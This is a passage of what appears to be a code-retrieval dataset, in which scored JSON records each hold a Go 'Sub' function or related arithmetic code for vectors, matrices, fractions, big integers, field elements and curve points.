*T) T {\n\tif a[3] == b[3] {\n\t\treturn T{a[0] - b[0], a[1] - b[1], a[2] - b[2], 1}\n\t} else {\n\t\ta3 := a.Vec3DividedByW()\n\t\tb3 := b.Vec3DividedByW()\n\t\treturn T{a3[0] - b3[0], a3[1] - b3[1], a3[2] - b3[2], 1}\n\t}\n}", "title": "" }, { "docid": "0aa8a3811dfa74b2c43dfcd0cda40422", "score": "0.5781502", "text": "func Sub(a, b Rat) Rat {\n\t// a - b = a + (-b)\n\tb.Sign = !b.Sign\n\treturn Add(a, b)\n}", "title": "" }, { "docid": "04d5ccdef91a998aa769fa6ab820fd85", "score": "0.5726158", "text": "func Sub(left, right *Equation) *Equation {\n\treturn &Equation{o: sub, left: left, right: right}\n}", "title": "" }, { "docid": "be8a58b084e192ab0718c045dcf5281f", "score": "0.5716514", "text": "func Modsub(a, b, m *FP256BN.BIG) *FP256BN.BIG {\n\treturn Modadd(a, FP256BN.Modneg(b, m), m)\n}", "title": "" }, { "docid": "8296584296be2a6145a7cf567594f39f", "score": "0.56413084", "text": "func (a *Vector2f) Sub(b Vector2f) {\n\ta.X -= b.X\n\ta.Y -= b.Y\n}", "title": "" }, { "docid": "79a71dde3489e610bf16ecb08b082ae9", "score": "0.5635102", "text": "func (q Quat) Sub(v Quat) Quat {\r\n\tq.A -= v.A\r\n\tq.I -= v.I\r\n\tq.J -= v.J\r\n\tq.K -= v.K\r\n\treturn q\r\n}", "title": "" }, { "docid": "025c06a37d81d22b95458078583b4424", "score": "0.56306887", "text": "func Sub(a, b *Exp) *Exp {\n\te := &Exp{\n\t\tterms: make(map[string]term),\n\t}\n\tfor s, t := range a.terms {\n\t\tm := &big.Rat{}\n\t\te.insert(m.Set(t.coeff), t.fact, s)\n\t}\n\tfor s, t := range b.terms {\n\t\tm := big.NewRat(-1, 1)\n\t\te.insert(m.Mul(m, t.coeff), t.fact, s)\n\t}\n\treturn e\n}", "title": "" }, { "docid": "6ff83559b650c1c24807db3cdc5ccabe", "score": "0.56039554", "text": "func (m *Matrix2D) Sub(mat *Matrix2D) error {\n\ttmp := [4]float64{\n\t\tm.elements[0] - mat.elements[0],\n\t\tm.elements[1] - mat.elements[1],\n\t\tm.elements[2] - mat.elements[2],\n\t\tm.elements[3] - mat.elements[3],\n\t}\n\n\tif numeric.AreAnyOverflow(tmp[:]...) {\n\t\treturn numeric.ErrOverflow\n\t}\n\tm.elements = tmp\n\treturn nil\n}", "title": "" }, { "docid": "748f60170397ecc745258c17358ee48c", "score": "0.5570325", "text": "func (a Quad) Sub(b Quad) Quad {\n\n\treturn Quad(C.mdq_subtract(C.struct_Quad(a), C.struct_Quad(b)))\n}", "title": "" }, { "docid": "771b0f130cc7cde2a9497354b3212dae", "score": "0.55424225", "text": "func (v Value) Sub(u Value) (res Value, err error) {\n\treturn calculateValues(v, u, '-')\n}", "title": "" }, { "docid": "00b4f2bdacf4d1ace776d8b10f817dc3", "score": "0.5522728", "text": "func (z *Complex) Sub(x, y *Complex) *Complex {\n\tz[0] = x[0] - y[0]\n\tz[1] = x[1] - y[1]\n\treturn z\n}", "title": "" }, { "docid": "24a4afcd6bf7083c98574ec4534c8cb2", "score": "0.551904", "text": "func Sub(x, y Dnum) Dnum {\n\treturn Add(x, y.Neg())\n}", "title": "" }, { "docid": "e3b0d0102ef1da69b9542b0ce5e72e95", "score": "0.54894257", "text": "func Sub(a, b Vec) Vec {\n\treturn *a.Sub(b)\n}", "title": "" }, { "docid": "e90d39dd8942630f29defc60073b4be9", "score": "0.54746616", "text": "func (a *Vector) Sub(b *Vector) (c Vector) {\r\n\tc.X = a.X - b.X\r\n\tc.Y = a.Y - b.Y\r\n\tc.Z = a.Z - b.Z\r\n\treturn\r\n}", "title": "" }, { "docid": "c55cf83f2a9d21af34a69ae2a2db9143", "score": "0.54704523", "text": "func (g *G1) Sub(c, a, b *PointG1) *PointG1 {\n\td := &PointG1{}\n\tg.Neg(d, b)\n\tg.Add(c, a, d)\n\treturn c\n}", "title": "" }, { "docid": "e727affac2b63d757de22fd52fc92e66", "score": "0.54621553", "text": "func (fe *FieldElement) Equals(fe2 *FieldElement) bool {\n\tif fe.num.Cmp(fe2.num) == 0 && fe.prime.Cmp(fe2.prime) == 0 {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "803d3ca0414df48603a77d3f054df0d3", "score": "0.5459838", "text": "func (x Fixed) Sub(y Fixed) Fixed {\n\tv := x.int64 - y.int64\n\tif x.int64>>63 != y.int64>>63 && x.int64>>63 != v>>63 {\n\t\tpanic(ErrOverflow)\n\t}\n\treturn Fixed{v}\n}", "title": "" }, { "docid": "016577d847aec0729c1c1e85f9720017", "score": "0.5456644", "text": "func (n *Numeric) SubEqual(x *Numeric) {\n\ty := Neg(x)\n\tn.AddEqual(y)\n}", "title": "" }, { "docid": "cc201f5c946e6213eb706fd5a8411e49", "score": "0.543194", "text": "func (a X80) Sub(b X80) X80 {\n\taSign, bSign := a.sign(), b.sign()\n\tif aSign == bSign {\n\t\treturn subFloatx80Sigs(a, b, aSign)\n\t}\n\treturn addFloatx80Sigs(a, b, aSign)\n\n}", "title": "" }, { "docid": "5c4ce7f3328e54e0186fb2e58cac8501", "score": "0.54151905", "text": "func Sub(a int, b int) int {\n\treturn a - b\n}", "title": "" }, { "docid": "5c4ce7f3328e54e0186fb2e58cac8501", "score": "0.54151905", "text": "func Sub(a int, b int) int {\n\treturn a - b\n}", "title": "" }, { "docid": "8e2ac1ecb4632d416c1e19b661a2ec8f", "score": "0.5407646", "text": "func (v Vec2f) Sub(other Vec2f) Vec2f {\n\treturn Vec2f{v[0] - other[0], v[1] - other[1]}\n}", "title": "" }, { "docid": "3eca3a6d90ed94258902a42c7b9d3083", "score": "0.53953123", "text": "func (d Decimal) Sub(d1 Decimal) Decimal {\n\treturn d - d1\n}", "title": "" }, { "docid": "3a313e0c383f27186a42df2ea576dfb3", "score": "0.53887635", "text": "func (s MeasurementCardinalityStats) Sub(other MeasurementCardinalityStats) {\n\tfor name, v := range other {\n\t\ts[name] -= v\n\t}\n}", "title": "" }, { "docid": "136d6ef1f3d9b0a7a9300c5de192c360", "score": "0.53744155", "text": "func (fpg *FixedPrecisionGauge) Sub(val float64) {\n\tfpg.Add(val * -1)\n}", "title": "" }, { "docid": "c45e3ab1b66f43e2544de48dd9cec916", "score": "0.5374295", "text": "func Sub(a, b int) int {\n\treturn a - b\n}", "title": "" }, { "docid": "b6406eb879ec8b3493d146326cd12380", "score": "0.5368958", "text": "func (a Quat) Sub(b Quat) Quat {\n\treturn Quat{a.W - b.W, a.X - b.X, a.Y - b.Y, a.Z - b.Z}\n}", "title": "" }, { "docid": "4fb129a3d497a306aafe393bb2c2637e", "score": "0.53681326", "text": "func Sub(x, y Number) Number {\n\treturn Number{\n\t\tReal: quat.Sub(x.Real, y.Real),\n\t\tDual: quat.Sub(x.Dual, y.Dual),\n\t}\n}", "title": "" }, { "docid": "18d0c25337e03750cf9fad9c2f7c4963", "score": "0.53646", "text": "func OSub(a uint64, b uint64) (res uint64, overflowed bool) {\n\tres = a - b\n\toverflowed = res > a\n\treturn\n}", "title": "" }, { "docid": "b95d0fb0a840f38cf5cfedbf67ccace9", "score": "0.5362571", "text": "func (z *Complex) Sub(x, y *Complex) *Complex {\n\tz.l.Sub(&x.l, &y.l)\n\tz.r.Sub(&x.r, &y.r)\n\treturn z\n}", "title": "" }, { "docid": "eb498398bd71fdcf58e26492a4c06086", "score": "0.5345157", "text": "func (z *Complex) Sub(x, y *Complex) *Complex {\n\tz.SetReal(x.Real() - y.Real())\n\tz.SetImag(x.Imag() - y.Imag())\n\treturn z\n}", "title": "" }, { "docid": "704a92f85cfdb6296d1a2e1a5774690f", "score": "0.5341134", "text": "func (v *Vector4c) Sub(other *Vector4c) {\n\tv[0] -= other[0]\n\tv[1] -= other[1]\n\tv[2] -= other[2]\n\tv[3] -= other[3]\n}", "title": "" }, { "docid": "f4f93f81a69f4db7c42c47e07ea5972f", "score": "0.53264844", "text": "func (orderFragment *OrderFragment) Sub(other *OrderFragment, prime *big.Int) (*ResultFragment, error) {\n\t// Check that the OrderFragments have compatible sss.Shares, and that one\n\t// of them is an OrderBuy and the other is an OrderSell.\n\tif err := orderFragment.IsCompatible(other); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Label the OrderFragments appropriately.\n\tvar buyOrderFragment, sellOrderFragment *OrderFragment\n\tif orderFragment.OrderBuySell == OrderBuy {\n\t\tbuyOrderFragment = orderFragment\n\t\tsellOrderFragment = other\n\t} else {\n\t\tbuyOrderFragment = other\n\t\tsellOrderFragment = orderFragment\n\t}\n\n\t// Perform the addition using the buyOrderFragment as the LHS and the\n\t// sellOrderFragment as the RHS.\n\tfstCodeShare := sss.Share{\n\t\tKey: buyOrderFragment.FstCodeShare.Key,\n\t\tValue: big.NewInt(0).Add(buyOrderFragment.FstCodeShare.Value, big.NewInt(0).Set(prime).Sub(prime, sellOrderFragment.FstCodeShare.Value)),\n\t}\n\tsndCodeShare := sss.Share{\n\t\tKey: buyOrderFragment.SndCodeShare.Key,\n\t\tValue: big.NewInt(0).Add(buyOrderFragment.SndCodeShare.Value, big.NewInt(0).Set(prime).Sub(prime, sellOrderFragment.SndCodeShare.Value)),\n\t}\n\tpriceShare := sss.Share{\n\t\tKey: buyOrderFragment.PriceShare.Key,\n\t\tValue: big.NewInt(0).Add(buyOrderFragment.PriceShare.Value, big.NewInt(0).Set(prime).Sub(prime, sellOrderFragment.PriceShare.Value)),\n\t}\n\tmaxVolumeShare := sss.Share{\n\t\tKey: buyOrderFragment.MaxVolumeShare.Key,\n\t\tValue: big.NewInt(0).Add(buyOrderFragment.MaxVolumeShare.Value, big.NewInt(0).Set(prime).Sub(prime, sellOrderFragment.MinVolumeShare.Value)),\n\t}\n\tminVolumeShare := sss.Share{\n\t\tKey: buyOrderFragment.MinVolumeShare.Key,\n\t\tValue: big.NewInt(0).Add(sellOrderFragment.MaxVolumeShare.Value, big.NewInt(0).Set(prime).Sub(prime, buyOrderFragment.MinVolumeShare.Value)),\n\t}\n\tfstCodeShare.Value.Mod(fstCodeShare.Value, prime)\n\tsndCodeShare.Value.Mod(sndCodeShare.Value, prime)\n\tpriceShare.Value.Mod(priceShare.Value, prime)\n\tmaxVolumeShare.Value.Mod(maxVolumeShare.Value, prime)\n\tminVolumeShare.Value.Mod(minVolumeShare.Value, prime)\n\tresultFragment := NewResultFragment(\n\t\tbuyOrderFragment.OrderID,\n\t\tsellOrderFragment.OrderID,\n\t\tbuyOrderFragment.ID,\n\t\tsellOrderFragment.ID,\n\t\tfstCodeShare,\n\t\tsndCodeShare,\n\t\tpriceShare,\n\t\tmaxVolumeShare,\n\t\tminVolumeShare,\n\t)\n\treturn resultFragment, nil\n}", "title": "" }, { "docid": "19e9663d882e9b24c145ceb09f9ce65a", "score": "0.531168", "text": "func (c MultiSchemaChangeUsageCounter) Sub(rhs MultiSchemaChangeUsageCounter) MultiSchemaChangeUsageCounter {\n\treturn MultiSchemaChangeUsageCounter{\n\t\tMultiSchemaChangeUsed: c.MultiSchemaChangeUsed - rhs.MultiSchemaChangeUsed,\n\t}\n}", "title": "" }, { "docid": "01f6b5be6d80bf7d7599edb50c36d712", "score": "0.5307986", "text": "func main() {\n\ta, err := fields.NewFieldElement(big.NewInt(25), big.NewInt(57))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tb, err := fields.NewFieldElement(big.NewInt(19), big.NewInt(57))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tfmt.Printf(\"FieldElement a: %+v\\n\", a)\n\tfmt.Printf(\"FieldElement v: %+v\\n\", b)\n\n\tfmt.Printf(\"Does A(%d) equal B(%d)? %t\\n\", a.Value(), b.Value(), a.Equals(b))\n\tfmt.Printf(\"Does A(%d) equal A(%d)? %t\\n\", a.Value(), a.Value(), a.Equals(a))\n\n\tfmt.Printf(\"Does A(%d) not equal B(%d)? %t\\n\", a.Value(), b.Value(), a.NotEquals(b))\n\tfmt.Printf(\"Does A(%d) not equal A(%d)? %t\\n\", a.Value(), a.Value(), a.NotEquals(a))\n\n\tsumAB, err := a.Add(b)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"A(%d) added to B(%d): %d\\n\", a.Value(), b.Value(), sumAB.Value())\n\n\tsumAA, err := a.Add(a)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"A(%d) added to A(%d): %d\\n\", a.Value(), a.Value(), sumAA.Value())\n\n\tmultAB, err := a.Mult(b)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"A(%d) multiplied with B(%d): %d\\n\", a.Value(), b.Value(), multAB.Value())\n\n\tmultAA, err := a.Mult(a)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"A(%d) multiplied with A(%d): %d\\n\", a.Value(), a.Value(), multAA.Value())\n\n\tc, err := fields.NewFieldElement(big.NewInt(3), big.NewInt(31))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\td, err := fields.NewFieldElement(big.NewInt(24), big.NewInt(31))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdivCD, err := c.Div(d)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"C(%d) divided by D(%d): %d\\n\", c.Value(), d.Value(), divCD.Value())\n\n\tc, err = fields.NewFieldElement(big.NewInt(17), big.NewInt(31))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\td, err = fields.NewFieldElement(big.NewInt(3), big.NewInt(31))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdivCD, err = c.Div(d)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"C(%d) divided by D(%d): %d\\n\", c.Value(), d.Value(), divCD.Value())\n\n\tc, err = fields.NewFieldElement(big.NewInt(4), big.NewInt(31))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\td, err = fields.NewFieldElement(big.NewInt(4), big.NewInt(31))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\te, err := fields.NewFieldElement(big.NewInt(11), big.NewInt(31))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdivCD, err = c.Div(d)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tmultCDE, err := divCD.Mult(e)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"C(%d) divided by D(%d), then multiplied by E(%d): %d\\n\", c.Value(), d.Value(), e.Value(), multCDE.Value())\n}", "title": "" }, { "docid": "f2ca53ae8425057f3cf8c123e422cf3c", "score": "0.52967656", "text": "func (P *secp256k1Point) Sub(a, b kyber.Point) kyber.Point {\n\tX, Y := s256.Add(\n\t\ta.(*secp256k1Point).X.int(), a.(*secp256k1Point).Y.int(),\n\t\tb.(*secp256k1Point).X.int(),\n\t\tnewFieldZero().Neg(b.(*secp256k1Point).Y).int()) // -b_y\n\tP.X.SetInt(X)\n\tP.Y.SetInt(Y)\n\treturn P\n}", "title": "" }, { "docid": "663d0d823cdf3deb8ffaad99d4730cc1", "score": "0.52921927", "text": "func (my *Fraction) Sub(x *Fraction) {\n\tmy.top = my.top*x.bot - x.top*my.bot\n\tmy.bot = my.bot * x.bot\n\tmy.reduce()\n}", "title": "" }, { "docid": "dc0fc9594cc315a13382ed09c8e7aef8", "score": "0.5271102", "text": "func (a *Vector2i) Sub(b Vector2i) {\n\ta.X -= b.X\n\ta.Y -= b.Y\n}", "title": "" }, { "docid": "aaff4438c998705b04a864da49442fb4", "score": "0.5265972", "text": "func Sub(minuend Expression, subtrahends ...Expression) Expression {\n\treturn Add(minuend, Negated(Add(subtrahends...)))\n}", "title": "" }, { "docid": "87487576346ff93d415059a5a98c9d55", "score": "0.5265625", "text": "func (m *Matrix) Sub(x *Matrix) error {\n\tif err := m.checkEqualDimentions(x); err != nil {\n\t\treturn err\n\t}\n\tfor i := 0; i < m.rows; i++ {\n\t\tfor j := 0; j < m.cols; j++ {\n\t\t\tm.set(i, j, m.get(i, j)-x.get(i, j))\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "306c0a94658fc6df9ae13c6c505a51c0", "score": "0.5246469", "text": "func (z *Decimal) Sub(x, y *Decimal) *Decimal {\n\treturn z.Add(x, new(Decimal).Neg(y))\n}", "title": "" }, { "docid": "afcc509d745f733943febd8224a08055", "score": "0.52389294", "text": "func (fe *FieldElement) Add(fe2 *FieldElement) (*FieldElement, error) {\n\tif fe.prime.Cmp(fe2.prime) != 0 {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"can't add two numbers of different Fields; expected order %d\",\n\t\t\tfe.prime.Int64())\n\t}\n\n\tsum := big.NewInt(0).Add(fe.num, fe2.num)\n\tmod := big.NewInt(0).Mod(sum, fe.prime)\n\n\treturn &FieldElement{num: mod, prime: fe.prime}, nil\n}", "title": "" }, { "docid": "0cb28b56f5b4fc243c5c72fa655d4e00", "score": "0.523754", "text": "func (v *Vector) Sub(u *Vector) (*Vector, error) {\n\tif len(v.value) != len(u.value) {\n\t\treturn nil, fmt.Errorf(\"dimension not match\")\n\t}\n\ts := make([]float64, len(v.value))\n\tfor i := range s {\n\t\ts[i] = v.value[i] - u.value[i]\n\t}\n\treturn NewVector(s), nil\n}", "title": "" }, { "docid": "df6556664d4bd842a5114e8e8049b9fe", "score": "0.5189607", "text": "func Sub(old, new *BigInt) *BigInt {\n\tresult := big.NewInt(0).Sub(old.Int(), new.Int())\n\treturn New(result)\n}", "title": "" }, { "docid": "f88bf0cb4ffd875eaa5814956b65bcfe", "score": "0.5189154", "text": "func (a Bigint) Gop_Sub(b Bigint) Bigint {\n\treturn Bigint{tmpint(a, b).Sub(a.Int, b.Int)}\n}", "title": "" }, { "docid": "5b074e3fb0b1eef77ccfb3f4a380b0b7", "score": "0.5167968", "text": "func (z *Float64) Sub(x, y *Float64) *Float64 {\n\tz.l.Sub(&x.l, &y.l)\n\tz.r.Sub(&x.r, &y.r)\n\treturn z\n}", "title": "" }, { "docid": "63e8aed977c16272b67d6380b40fb0ee", "score": "0.5162462", "text": "func InField(x *big.Int) bool {\n\treturn x.Sign() != -1 && x.Cmp(F) == -1\n}", "title": "" }, { "docid": "e0c6a259dba7d924d78a173bcaa02541", "score": "0.5161012", "text": "func (v Vector3) Sub(b Vector3) Vector3 {\n\treturn Vector3{v[X] - b[X], v[Y] - b[Y], v[Z] - b[Z]}\n}", "title": "" }, { "docid": "1ab4c47cbf6031760c6ae7d861667c75", "score": "0.5156922", "text": "func SubFrac(f1 Fraction,f2 Fraction) Fraction{\n\treturn InitFrac(f1.Numerateur * f2.Denominateur - f2.Numerateur * f1.Denominateur, f1.Denominateur * f2.Denominateur)\n}", "title": "" }, { "docid": "e04d627c5c6931e8c4775027234587c1", "score": "0.51500964", "text": "func (d *decompiler) exprSub(expr *constant.ExprSub) ast.Expr {\n\treturn d.binaryOp(expr.X, token.SUB, expr.Y)\n}", "title": "" }, { "docid": "5980d26e8856ad7118cab27e949b9586", "score": "0.5148779", "text": "func (p *Point) Sub(p2 Point) {\n\tp.X -= p2.X\n\tp.Y -= p2.Y\n\tp.Z -= p2.Z\n}", "title": "" }, { "docid": "9fa510d379ff5013fd258aee9d356925", "score": "0.5148061", "text": "func (c *Clause) Subsumes(c2 *Clause) (ok bool, p Lit) {\n\tif c2.Len() < c.Len() && c.Abstraction&^c2.Abstraction != 0 {\n\t\treturn false, LitUndef\n\t}\n\tp = LitUndef\n\n\t// subsumtion requires the set of literals to be the same except for the\n\t// presence of p in c and ~p c2 (where p = ~~p for any literal p).\nouter:\n\tfor _, lit1 := range c.Lit {\n\t\tfor _, lit2 := range c2.Lit {\n\t\t\tif !lit1.SharesVar(lit2) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif lit1 == lit2 {\n\t\t\t\tcontinue outer\n\t\t\t}\n\t\t\tif p.IsUndef() {\n\t\t\t\tp = lit1\n\t\t\t\tcontinue outer\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t\treturn false, LitUndef\n\t}\n\n\treturn true, p\n}", "title": "" }, { "docid": "8a5be885f7a48addb6ace308a95105d5", "score": "0.514512", "text": "func (v1 Vector) Sub(v2 Vector) Vector {\n\tif len(v1) != len(v2) {\n\t\tpanic(\"dimensions don't match\")\n\t}\n\tv := NewVector(len(v1))\n\tfor i := 0; i < len(v1); i++ {\n\t\tv[i] = v1[i] - v2[i]\n\t}\n\treturn v\n}", "title": "" }, { "docid": "391c593549faa2428add7e1ff5da891a", "score": "0.5130306", "text": "func (context *Context) Sub(p1, p2, p3 *Poly) {\n\tfor i, qi := range context.Modulus {\n\t\tfor j := uint64(0); j < context.N; j++ {\n\t\t\tp3.Coeffs[i][j] = CRed((p1.Coeffs[i][j]+qi)-p2.Coeffs[i][j], qi)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5e0767e7fae5b1190a65db9b6ac89e0f", "score": "0.5125241", "text": "func (s *EntryTypeSet) Sub(other *EntryTypeSet) *EntryTypeSet {\n\tif other == nil {\n\t\treturn s\n\t}\n\treturn &EntryTypeSet{\n\t\tbits: (s.bits &^ other.bits) & EntryTypesAll,\n\t}\n}", "title": "" }, { "docid": "bbe7292bf6c3cdd9d1e569c1cf3da64c", "score": "0.5092883", "text": "func (m Mat4f) Sub(other Mat4f) Mat4f {\n\treturn Mat4f{\n\t\tm[0] - other[0], m[1] - other[1], m[2] - other[2], m[3] - other[3],\n\t\tm[4] - other[4], m[5] - other[5], m[6] - other[6], m[7] - other[7],\n\t\tm[8] - other[8], m[9] - other[9], m[10] - other[10], m[11] - other[11],\n\t\tm[12] - other[12], m[13] - other[13], m[14] - other[14], m[15] - other[15]}\n}", "title": "" }, { "docid": "8319539ee07117f688ca84ef8ffdc5ff", "score": "0.5089903", "text": "func opF32Sub(prgrm *CXProgram) {\n\texpr := prgrm.GetExpr()\n\tfp := prgrm.GetFramePointer()\n\n\toutV0 := ReadF32(fp, expr.Inputs[0]) - ReadF32(fp, expr.Inputs[1])\n\tWriteF32(GetFinalOffset(fp, expr.Outputs[0]), outV0)\n}", "title": "" }, { "docid": "6e4c3fbb41132857ddc3fd84253dcc24", "score": "0.5059542", "text": "func Sub(vectorA v.Vector, vectorB v.Vector) (v.Vector, error) {\n\tif vectorA.Space() != vectorB.Space() {\n\t\treturn nil, errors.New(\"Vectors are not of same type. Must be both be either column v or row v\")\n\t}\n\n\tif vectorA.Len() != vectorB.Len() {\n\t\treturn nil, errors.New(\"Vectors are not same dimensions\")\n\t}\n\n\tvector := v.NewVector(vectorA.Space(), vectorA.Len())\n\tfor i := 0; i < vectorA.Len(); i++ {\n\t\tvector.Set(i, gcvops.Sub(vectorA.Get(i), vectorB.Get(i)))\n\t}\n\n\treturn vector, nil\n}", "title": "" }, { "docid": "a7580ea927e8d99440a2f2bf98f59f03", "score": "0.50540185", "text": "func Sub(a, b int) (int, bool) {\n\tif _is64Bit() {\n\t\tr64, ok := Sub64(int64(a), int64(b))\n\t\treturn int(r64), ok\n\t}\n\tr32, ok := Sub32(int32(a), int32(b))\n\treturn int(r32), ok\n}", "title": "" }, { "docid": "fd27b4aa12a7d8ded508a445b948601a", "score": "0.504313", "text": "func TestVectorSub(t *testing.T) {\n\tvar (\n\t\ta, b []*big.Int\n\t)\n\ta = make([]*big.Int, 3)\n\tb = make([]*big.Int, 3)\n\ta[0] = new(big.Int).SetInt64(7)\n\ta[1] = new(big.Int).SetInt64(8)\n\ta[2] = new(big.Int).SetInt64(9)\n\tb[0] = new(big.Int).SetInt64(3)\n\tb[1] = new(big.Int).SetInt64(30)\n\tb[2] = new(big.Int).SetInt64(40)\n\tresult, _ := VectorSub(a, b)\n\tok := (result[0].Cmp(new(big.Int).SetInt64(4)) == 0)\n\tok = ok && (result[1].Cmp(GetBigInt(\"115792089237316195423570985008687907852837564279074904382605163141518161494315\")) == 0)\n\tok = ok && (result[2].Cmp(GetBigInt(\"115792089237316195423570985008687907852837564279074904382605163141518161494306\")) == 0)\n\tif ok != true {\n\t\tt.Errorf(\"Assert failure: expected true, actual: %t\", ok)\n\t}\n}", "title": "" }, { "docid": "c1cc61a13bf0a6b758f688deb518863d", "score": "0.50339264", "text": "func (v Vector) Sub(v2 Vector) *Vector {\n\tr := *NewVector(len(v))\n\tfor i, p := range v {\n\t\tr[i] = p - v2[i]\n\t}\n\treturn &r\n}", "title": "" }, { "docid": "5e9538f2e97c0bcd316aa9578f142ec4", "score": "0.50301963", "text": "func (p *Poly) SubMod(p1, p2 *Poly) (*Poly, error) {\n\tif p.n != p1.n || !p.q.EqualTo(&p1.q) ||\n\t\tp.n != p2.n || !p.q.EqualTo(&p2.q) ||\n\t\tp1.n != p2.n || !p1.q.EqualTo(&p2.q) {\n\t\treturn nil, errors.New(\"unmatched degree or module\")\n\t}\n\tfor i := range p.coeffs {\n\t\tp.coeffs[i].Sub(&p1.coeffs[i], &p2.coeffs[i])\n\t\tp.coeffs[i].Mod(&p.coeffs[i], &p.q)\n\t}\n\treturn p, nil\n}", "title": "" }, { "docid": "5c0680fbdb04dafc470843c1a89cd24b", "score": "0.5026623", "text": "func testSubAdd(t *rapid.T) {\n\ta := genDec.Draw(t, \"a\")\n\tb := genDec.Draw(t, \"b\")\n\n\tc, err := a.Sub(b)\n\trequire.NoError(t, err)\n\n\td, err := c.Add(b)\n\trequire.NoError(t, err)\n\n\trequire.True(t, a.Equal(d))\n}", "title": "" }, { "docid": "1df7f7ccc5a47d360e85956de249810d", "score": "0.50096464", "text": "func (l *LinkedBalance) Sub(v decimal.Decimal) error {\n\t*l.v = l.v.Sub(v)\n\treturn nil\n}", "title": "" }, { "docid": "abaef550f2d1edcea8be7471d327d68a", "score": "0.50006837", "text": "func (a DDLUsageCounter) Sub(rhs DDLUsageCounter) DDLUsageCounter {\n\treturn DDLUsageCounter{\n\t\tAddIndexIngestUsed: a.AddIndexIngestUsed - rhs.AddIndexIngestUsed,\n\t\tFlashbackClusterUsed: a.FlashbackClusterUsed - rhs.FlashbackClusterUsed,\n\t\tDistReorgUsed: a.DistReorgUsed - rhs.DistReorgUsed,\n\t}\n}", "title": "" }, { "docid": "87962297293800f9a6098a74b53d54dc", "score": "0.4989212", "text": "func (_ StdMath) Sub(n1, n2 *Number) *Number {\n\treturn SubtractNumbers(n1, n2)\n}", "title": "" }, { "docid": "43645e9ae5619e87b9e3c9d7cff076e2", "score": "0.4989079", "text": "func sub(A, B []int) []int {\n\treturn nil\n}", "title": "" }, { "docid": "4fb8f6d9e5bc04556c11d3f79169d322", "score": "0.4975737", "text": "func (v Vector) Sub(v2 Vector) Vector {\n\treturn Vector{v[0] - v2[0], v[1] - v2[1], v[2] - v2[2]}\n}", "title": "" }, { "docid": "115f176e34ccfd98e231d233814bfbf7", "score": "0.4975243", "text": "func sub(lst ...lispVal) (lispVal, error) {\n\ttotal, err := getFloat(lst[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, value := range lst[1:] {\n\t\tv, err := getFloat(value)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttotal -= v\n\t}\n\treturn total, nil\n}", "title": "" }, { "docid": "96d4d9e97cac154a7c0ee3a5023c09d9", "score": "0.49644828", "text": "func (v *Vector) SubVec(a, b *Vector) {\n\tar := a.Len()\n\tbr := b.Len()\n\n\tif ar != br {\n\t\tpanic(ErrShape)\n\t}\n\n\tv.reuseAs(ar)\n\n\tamat, bmat := a.RawVector(), b.RawVector()\n\tfor i := 0; i < v.n; i++ {\n\t\tv.mat.Data[i*v.mat.Inc] = amat.Data[i*amat.Inc] - bmat.Data[i*bmat.Inc]\n\t}\n}", "title": "" }, { "docid": "19ad1586872bf2203a3e17ebbb7d5aaf", "score": "0.49605688", "text": "func Sub(x, y float64) float64 {\n\tfmt.Println(\"This is Subv2\")\n\tfmt.Println(time.Now())\n\treturn x - y\n}", "title": "" }, { "docid": "619b79018617c10e23b51cadd945f650", "score": "0.495565", "text": "func (vec *T) Sub(v *T) *T {\n\tif v[3] == vec[3] {\n\t\tvec[0] -= v[0]\n\t\tvec[1] -= v[1]\n\t\tvec[2] -= v[2]\n\t} else {\n\t\tvec.DividedByW()\n\t\tv3 := v.Vec3DividedByW()\n\t\tvec[0] -= v3[0]\n\t\tvec[1] -= v3[1]\n\t\tvec[2] -= v3[2]\n\t}\n\treturn vec\n}", "title": "" }, { "docid": "0dd59bbaada30bf57b6155621622ab7b", "score": "0.49475136", "text": "func (s *SimpleBalance) Sub(v decimal.Decimal) error {\n\ts.v = s.v.Sub(v)\n\treturn nil\n}", "title": "" }, { "docid": "dbb4dcbee370f936ed0e03a981e91b5e", "score": "0.49459934", "text": "func SafeSub(input1, input2 cosmos.Uint) cosmos.Uint {\n\tif input2.GT(input1) {\n\t\treturn cosmos.ZeroUint()\n\t}\n\treturn input1.Sub(input2)\n}", "title": "" }, { "docid": "07fa81bc31d6bfbb0caca6e7d2e4b43b", "score": "0.4933497", "text": "func (i FairLockingUsageCounter) Sub(rhs FairLockingUsageCounter) FairLockingUsageCounter {\n\treturn FairLockingUsageCounter{\n\t\tTxnFairLockingUsed: i.TxnFairLockingUsed - rhs.TxnFairLockingUsed,\n\t\tTxnFairLockingEffective: i.TxnFairLockingEffective - rhs.TxnFairLockingEffective,\n\t}\n}", "title": "" }, { "docid": "3b79c1715c1fc07d5458b5bfcbfc811f", "score": "0.49188069", "text": "func magnitudeSub(a BigInt, b BigInt) BigInt {\n\tvar result []int8 = make([]int8, 0)\n\tvar carry, diff int8\n\tvar i int\n\tl1, l2 := a.num, b.num\n\tlen1 := len(l1)\n\tlen2 := len(l2)\n\tcarry = 